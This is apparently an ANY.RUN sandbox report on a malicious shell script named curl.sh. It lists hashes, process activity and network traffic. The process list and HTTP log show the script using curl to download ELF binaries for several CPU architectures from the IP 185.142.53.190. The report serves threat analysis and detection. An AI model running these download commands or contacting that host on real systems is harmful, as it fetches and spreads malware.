Malware analysis curl.sh Malicious activity | ANY.RUN

Add for printing

File name:	curl.sh
Full analysis:	https://app.any.run/tasks/5bd72897-87d1-479c-b982-8e775c8174c0
Verdict:	Malicious activity
Analysis date:	January 01, 2025, 21:43:48
OS:	Ubuntu 22.04.2 LTS
MIME:	text/plain
File info:	ASCII text
MD5:	7B09626931BC330BF92040D5D5A7D7C4
SHA1:	FA48182831ED87AC6D5795FE3D99C56DF2AEFBCC
SHA256:	67084FC5413108F6FA49ED8FD32859A141723D7E3325C8124D0D08B1795E5737
SSDEEP:	12:3J3f6W7Dnwpf6q9af60F2f6jQef2dTCznSf2LwSfo7fltz0vn:3J3fX3nov8rqiQQ2dTCrk2Lwkojl1gn

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Add for printing

MALICIOUS
No malicious indicators.
SUSPICIOUS
- Modifies file or directory owner
  - sudo (PID: 38748)
- Reads /proc/mounts (likely used to find writable filesystems)
  - curl (PID: 38796)
  - curl (PID: 38940)
- Executes commands using command-line interpreter
  - sudo (PID: 38751)
- Potential Corporate Privacy Violation
  - curl (PID: 38940)
  - curl (PID: 38796)
- Executes the "rm" command to delete files or directories
  - bash (PID: 38752)
INFO
No info indicators.

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

Add for printing

No Malware configuration.

Add for printing

No data.

Add for printing

All screenshots are available in the full report

Add for printing

Total processes

276

Monitored processes

68

Malicious processes

0

Suspicious processes

2

Behavior graph

Click at the process to see the details

Process information

PID	CMD	Path	Indicators	Parent process
38747	/bin/sh -c "sudo chown user /tmp/curl\.sh && chmod +x /tmp/curl\.sh && DISPLAY=:0 sudo -iu user /tmp/curl\.sh "	/usr/bin/dash	—	any-guest-agent
User: root Integrity Level: UNKNOWN Exit code: 0
38748	sudo chown user /tmp/curl.sh	/usr/bin/sudo	—	dash
User: root Integrity Level: UNKNOWN Exit code: 0
38749	chown user /tmp/curl.sh	/usr/bin/chown	—	sudo
User: root Integrity Level: UNKNOWN Exit code: 0
38750	chmod +x /tmp/curl.sh	/usr/bin/chmod	—	dash
User: root Integrity Level: UNKNOWN Exit code: 0
38751	sudo -iu user /tmp/curl.sh	/usr/bin/sudo	—	dash
User: root Integrity Level: UNKNOWN Exit code: 0
38752	-bash --login -c \/tmp\/curl\.sh	/usr/bin/bash	—	sudo
User: user Integrity Level: UNKNOWN Exit code: 0
38753	/usr/bin/locale-check C.UTF-8	/usr/bin/locale-check	—	bash
User: user Integrity Level: UNKNOWN Exit code: 0
38754	curl http://185.142.53.190/arc -o -	/snap/snapd/20290/usr/bin/snap	—	bash
User: user Integrity Level: UNKNOWN Exit code: 0
38766	/snap/snapd/20290/usr/lib/snapd/snap-seccomp version-info	/snap/snapd/20290/usr/lib/snapd/snap-seccomp	—	snap
User: user Integrity Level: UNKNOWN Exit code: 0
38775	/snap/snapd/20290/usr/lib/snapd/snap-confine --base core20 snap.curl.curl /usr/lib/snapd/snap-exec curl http://185.142.53.190/arc -o -	/snap/snapd/20290/usr/lib/snapd/snap-confine	—	—
User: root Integrity Level: UNKNOWN Exit code: 0

Add for printing

Executable files

0

Suspicious files

0

Text files

0

Unknown types

0

Dropped files

No data

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Add for printing

HTTP(S) requests

9

TCP/UDP connections

17

DNS requests

11

Threats

16

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
—	—	GET	204	185.125.190.48:80	http://connectivity-check.ubuntu.com/	unknown	—	—	whitelisted
38796	curl	GET	200	185.142.53.190:80	http://185.142.53.190/arm	unknown	—	—	unknown
—	—	GET	200	185.142.53.190:80	http://185.142.53.190/arc	unknown	—	—	unknown
—	—	GET	200	185.142.53.190:80	http://185.142.53.190/arm7	unknown	—	—	unknown
—	—	GET	200	185.142.53.190:80	http://185.142.53.190/arm5	unknown	—	—	unknown
—	—	GET	200	185.142.53.190:80	http://185.142.53.190/mips	unknown	—	—	unknown
—	—	GET	200	185.142.53.190:80	http://185.142.53.190/mpsl	unknown	—	—	unknown
—	—	GET	200	185.142.53.190:80	http://185.142.53.190/sh4	unknown	—	—	unknown
38940	curl	GET	200	185.142.53.190:80	http://185.142.53.190/ppc	unknown	—	—	unknown

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID	Process	IP	Domain	ASN	CN	Reputation
—	—	185.125.190.48:80	connectivity-check.ubuntu.com	Canonical Group Limited	GB	unknown
484	avahi-daemon	224.0.0.251:5353	—	—	—	unknown
1178	snap-store	195.181.175.41:443	odrs.gnome.org	Datacamp Limited	DE	whitelisted
—	—	185.142.53.190:80	—	Harmony Hosting SARL	FR	unknown
38796	curl	185.142.53.190:80	—	Harmony Hosting SARL	FR	unknown
512	snapd	185.125.188.58:443	api.snapcraft.io	Canonical Group Limited	GB	whitelisted
512	snapd	185.125.188.55:443	api.snapcraft.io	Canonical Group Limited	GB	whitelisted
38940	curl	185.142.53.190:80	—	Harmony Hosting SARL	FR	unknown

DNS requests

Domain	IP	Reputation
google.com	172.217.16.142 2a00:1450:4001:80e::200e	whitelisted
connectivity-check.ubuntu.com	185.125.190.48 185.125.190.49 91.189.91.96 91.189.91.97 185.125.190.18 185.125.190.17 91.189.91.49 91.189.91.98 185.125.190.96 91.189.91.48 185.125.190.98 185.125.190.97 2620:2d:4002:1::198 2620:2d:4000:1::97 2001:67c:1562::23 2620:2d:4000:1::96 2001:67c:1562::24 2620:2d:4000:1::98 2620:2d:4000:1::22 2620:2d:4000:1::2a 2620:2d:4002:1::196 2620:2d:4000:1::23 2620:2d:4002:1::197 2620:2d:4000:1::2b	whitelisted
odrs.gnome.org	195.181.175.41 169.150.255.180 169.150.255.184 207.211.211.27 195.181.170.19 37.19.194.80 212.102.56.178 2a02:6ea0:c700::107 2a02:6ea0:c700::19 2a02:6ea0:c700::11 2a02:6ea0:c700::21 2a02:6ea0:c700::112 2a02:6ea0:c700::18 2a02:6ea0:c700::101	whitelisted
api.snapcraft.io	185.125.188.58 185.125.188.55 185.125.188.54 185.125.188.59 2620:2d:4000:1010::6d 2620:2d:4000:1010::2e6 2620:2d:4000:1010::117 2620:2d:4000:1010::42	whitelisted
221.100.168.192.in-addr.arpa	—	unknown

Threats

PID	Process	Class	Message
—	—	Potentially Bad Traffic	ET HUNTING curl User-Agent to Dotted Quad
—	—	Potential Corporate Privacy Violation	ET POLICY Executable and linking format (ELF) file download Over HTTP
38796	curl	Potentially Bad Traffic	ET HUNTING curl User-Agent to Dotted Quad
38796	curl	Potential Corporate Privacy Violation	ET POLICY Executable and linking format (ELF) file download Over HTTP
—	—	Potentially Bad Traffic	ET HUNTING curl User-Agent to Dotted Quad
—	—	Potential Corporate Privacy Violation	ET POLICY Executable and linking format (ELF) file download Over HTTP
—	—	Potentially Bad Traffic	ET HUNTING curl User-Agent to Dotted Quad
—	—	Potential Corporate Privacy Violation	ET POLICY Executable and linking format (ELF) file download Over HTTP
—	—	Potentially Bad Traffic	ET HUNTING curl User-Agent to Dotted Quad
—	—	Potential Corporate Privacy Violation	ET POLICY Executable and linking format (ELF) file download Over HTTP

Add for printing

No debug info

General Info

curl.sh

7B09626931BC330BF92040D5D5A7D7C4

FA48182831ED87AC6D5795FE3D99C56DF2AEFBCC

67084FC5413108F6FA49ED8FD32859A141723D7E3325C8124D0D08B1795E5737

12:3J3f6W7Dnwpf6q9af60F2f6jQef2dTCznSf2LwSfo7fltz0vn:3J3fX3nov8rqiQQ2dTCrk2Lwkojl1gn

Software environment set and analysis options

Launch configuration

Software preset

Behavior activities

MALICIOUS

SUSPICIOUS

Modifies file or directory owner

Reads /proc/mounts (likely used to find writable filesystems)

Executes commands using command-line interpreter

Potential Corporate Privacy Violation

Executes the "rm" command to delete files or directories

INFO

Malware configuration

Static information

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Information

Information

Information

Information

Information

Information

Information

Information

Information

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings